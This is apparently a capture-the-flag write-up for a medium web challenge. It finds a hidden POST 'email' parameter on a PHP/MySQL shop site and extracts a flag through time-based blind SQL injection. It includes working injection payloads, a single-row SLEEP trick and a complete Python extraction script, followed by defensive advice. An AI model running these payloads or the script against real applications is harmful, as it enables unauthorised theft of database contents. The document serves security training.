Отсутствие присутствия (Absence of presence)
Отсутствие присутствия (Absence of presence)
Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-03 | Status: Solved Techniques: binary_exact_match_verification, binary_search_character_extraction, empty_gate_discovery_email0_vs_emailx, single_quote_string_break_with_hash_comment, single_row_sleep_scoping_via_derived_table, time_based_blind_sql_injection
Summary
Task: a static 'Lugx Gaming Shop' PHP/MySQL site whose newsletter Subscribe form has an input with id=email but no name attribute, so the email parameter is never submitted by a browser. Solution: manually POST email to index.php, discover a !empty() gate (email=0 vs email=x) hiding a no-output backend SELECT, then exploit it via time-based blind SQL injection with single-row-scoped SLEEP to extract the flag stored as a subscriber's email.
Отсутствие присутствия (Absence of presence) — hackerlab
Description
Отсутствие присутствия Похоже в этом магазине чего-то не хватает...
English translation:
Absence of presence Looks like something is missing in this shop...
A static "Lugx Gaming Shop" HTML5 template is served by Apache (PHP 8.0.46 backend,
MySQL 8.0.46). The visible pages are index.php, shop.php, product-details.php,
and contact.php, plus assets/, vendor/, and javascript/ asset directories.
There are no backups, no .git/.env, and no hidden endpoints. The title and
description are both wordplay hints: something is literally absent in the page —
and that absence is the key to the challenge.
Flag format: CODEBY{...}.
Reconnaissance
The site looks entirely static. Directory and file fuzzing with common.txt and
raft-large-directories.txt (plus .php/.bak/.swp extensions) found only the four
known PHP pages and three asset directories — no source leak, no backup, no hidden
handler file.
Parameter fuzzing told a different story. After testing ~110 then ~3843 POST parameter names, exactly one parameter was reactive:
- Every page returns the normal 200 response of 15077 bytes for any unknown parameter.
- A POST of a non-empty
emailparameter to/index.php(or/) returnsHTTP/1.0 500 Internal Server Error,Content-Length: 0, and an empty body. emailonly reacts onindex.php//;shop.php,contact.php, andproduct-details.phpignore it.- GET
?email=has no effect (200). Only a real POST populating$_POST['email']triggers the 500.PUT/DELETE/PATCHreturn 200 because they don't populate$_POST.
The Semantic Clue — the missing name attribute
The newsletter Subscribe form on index.php contains an input declared as:
html read-only • copy allowed<input type="text" id="email" placeholder="Your email...">
The input has id="email" but no name attribute. A browser only submits form
fields that have a name, so this field is never sent on a normal submit — the
parameter is literally absent. That is the "absence of presence" / "something is
missing": the handler for email exists on the server, but the form can never reach
it without manual intervention.
The intended insight is to notice the missing name, then manually craft a POST that
sends an email parameter to index.php.
The Misleading 500 — pitfall and lesson
The empty 500 was the single biggest trap in this challenge.
Because every non-empty value (valid@email, \, quotes, php://filter/...,
/etc/passwd, serialized blobs, JSON, base64) produced the same empty 500, the
behaviour looked "value-independent." That misread caused several attack families to
be wrongly killed:
- value-reflected SQL injection
- LFI / PHP wrappers
- command injection / RCE
- SSTI
unserialize()of the value- a hypothetical second hidden "unlock" parameter
In reality, display_errors was off, so a backend SELECT that produced no output
simply returned an empty response — and the 500 was the success path, not a fatal
"undefined function/class" (which is what "absence of presence" tempts you to assume).
The breakthrough was a single differential test on the truthiness of the value:
email=0 -> 200 (falsy: !empty() is false, branch skipped)
email=x -> 500 (truthy: !empty() is true, backend SELECT runs)
This proved the gate is effectively:
php read-only • copy allowedif (!empty($_POST['email'])) { // backend SELECT ... WHERE email = '$email' (no visible output on success) }
The value does matter logically — there is just no visible output channel. That immediately points to a blind injection where the only oracle is timing.
Vulnerability — time-based blind SQL injection
The email value is interpolated unescaped into a single-quoted string literal in a
backend SELECT. Probing confirmed:
- A single quote
'breaks the literal; a double quote"does not. #comments out the trailing part of the query.
Because there is no visible output and no boolean-reflected difference, the injection is time-based blind.
Critical technique: scope SLEEP to exactly one row
The backend query iterates ~4 rows. A naive OR SLEEP(n) runs SLEEP once per
matched row, multiplying the delay and effectively hanging the request. The fix is
to scope the sleep to a single row using a derived-table subquery so it fires exactly
once:
sql read-only • copy allowed(SELECT SLEEP(n) FROM (SELECT 1)b)
Time oracle (verified on the live target: TRUE ≈ 2.2s, FALSE ≈ 0.2s)
TRUE: email=x' AND IF(1=1,(SELECT SLEEP(2) FROM (SELECT 1)b),0)#
FALSE: email=x' AND IF(1=2,(SELECT SLEEP(2) FROM (SELECT 1)b),0)#
Exploitation
Database recon (via the time oracle)
- Current user:
administrator@127.0.0.1 - MySQL 8.0.46,
secure_file_priv = /var/lib/mysql-files/ - Database:
subscription - Table:
subscribers(id, email, subscsibed_at)— note the misspelled columnsubscsibed_at - The flag is stored as one subscriber's
emailvalue.
Confirm a flag row exists
email=x' AND IF((SELECT email FROM subscription.subscribers WHERE email LIKE 'CODEBY{%' LIMIT 1) IS NOT NULL,(SELECT SLEEP(2) FROM (SELECT 1)b),0)#
Character extraction (binary search on ASCII via the time oracle)
Each character is recovered by binary-searching its ASCII code with
ASCII(SUBSTRING((<subquery>),i,1)) > mid, all wrapped in the single-row SLEEP
gadget. A noise-resistant extractor (extract.py) automates this, re-confirming each
character with an equality check and a 3-vote majority re-search to defeat network
jitter.
python read-only • copy allowed#!/usr/bin/env python3 import requests, sys, time URL = "http://62.173.140.174:16104/index.php" DELAY = 2.0 THRESH = 1.0 # seconds; > THRESH => condition TRUE def cond(expr): payload = "x' AND IF(" + expr + ",(SELECT SLEEP(" + str(DELAY) + ") FROM (SELECT 1)b),0)#" for attempt in range(3): try: t0 = time.time() requests.post(URL, data={"email": payload}, timeout=15) return (time.time() - t0) > THRESH except requests.exceptions.Timeout: return True except Exception: time.sleep(1) return False def bin_count(lhs, lo=0, hi=64): while lo < hi: mid = (lo + hi) // 2 if cond(lhs + ">" + str(mid)): lo = mid + 1 else: hi = mid return lo def extract_string(subquery): n = bin_count("LENGTH((" + subquery + "))", 0, 200) print("[len=%d]" % n) out = [] for i in range(1, n + 1): lo, hi = 32, 126 while lo < hi: mid = (lo + hi) // 2 if cond("ASCII(SUBSTRING((" + subquery + ")," + str(i) + ",1))>" + str(mid)): lo = mid + 1 else: hi = mid # equality re-confirm with majority vote to defeat noise if not cond("ASCII(SUBSTRING((" + subquery + ")," + str(i) + ",1))=" + str(lo)): lo2, hi2 = 32, 126 while lo2 < hi2: mid = (lo2 + hi2) // 2 votes = sum(cond("ASCII(SUBSTRING((" + subquery + ")," + str(i) + ",1))>" + str(mid)) for _ in range(3)) lo2 = mid + 1 if votes >= 2 else lo2 hi2 = hi2 if votes >= 2 else mid lo = lo2 out.append(chr(lo)); sys.stdout.write(chr(lo)); sys.stdout.flush() print() return "".join(out) if __name__ == "__main__": # python3 extract.py custom "SELECT GROUP_CONCAT(email SEPARATOR 0x0a) FROM subscription.subscribers" print("RESULT:", extract_string(sys.argv[2]))
Run:
bash read-only • copy allowedpython3 extract.py custom "SELECT GROUP_CONCAT(email SEPARATOR 0x0a) FROM subscription.subscribers"
Final case-sensitive verification
A BINARY exact-match confirms the extracted value precisely (case-sensitive,
exactly one matching row):
email=x' AND IF((SELECT COUNT(*) FROM subscription.subscribers WHERE email=BINARY 'CODEBY{REDACTED}')=1,(SELECT SLEEP(2) FROM (SELECT 1)b),0)#
This payload sleeps, confirming the flag.
Key Lessons
- A "value-independent" 500 with an empty body and
display_errorsoff is often a success path, not a fatal. Distinguish them with a truthiness probe (email=0vsemail=x) to reveal a!empty()gate before discarding injection hypotheses. - Read the form, not just the request. An
idwithout anamemeans the field is never sent by a browser — the server handler exists but is unreachable until you POST the parameter manually. That is exactly the "absence of presence" wordplay. - Time-based blind is the right tool when there is no visible/boolean output channel. Timing was the only oracle here.
- Scope
SLEEPto a single row with(SELECT SLEEP(n) FROM (SELECT 1)b).OR SLEEP(n)multiplies across matched rows and hangs the request, which can be misread as "no injection." - Verify with
BINARYequality to rule out case ambiguities in the extracted flag.
This challenge is part of the same hackerlab author family as
20260103_hackerlab_ne_utsutuga (multi-field INSERT fragmented SQLi) and
20260104_hackerlab_sekret (hidden POST parameter). The recurring theme: a
non-obvious injection vector reached through an unusual or hidden request parameter.
Defense
- Use parameterized queries / prepared statements; never interpolate request values into SQL string literals.
- Do not store secrets (or anything sensitive) in queryable columns reachable from unauthenticated input.
- Add a constant-time baseline / query timeouts and rate limiting to blunt time-based oracles.
- Keep
display_errorsoff in production and return consistent, non-distinguishable responses for success vs. error so timing/length differentials don't form an oracle. - Ensure server-side handlers validate that expected parameters are actually present and bound — an orphaned handler for a never-submitted field is dead, attackable code.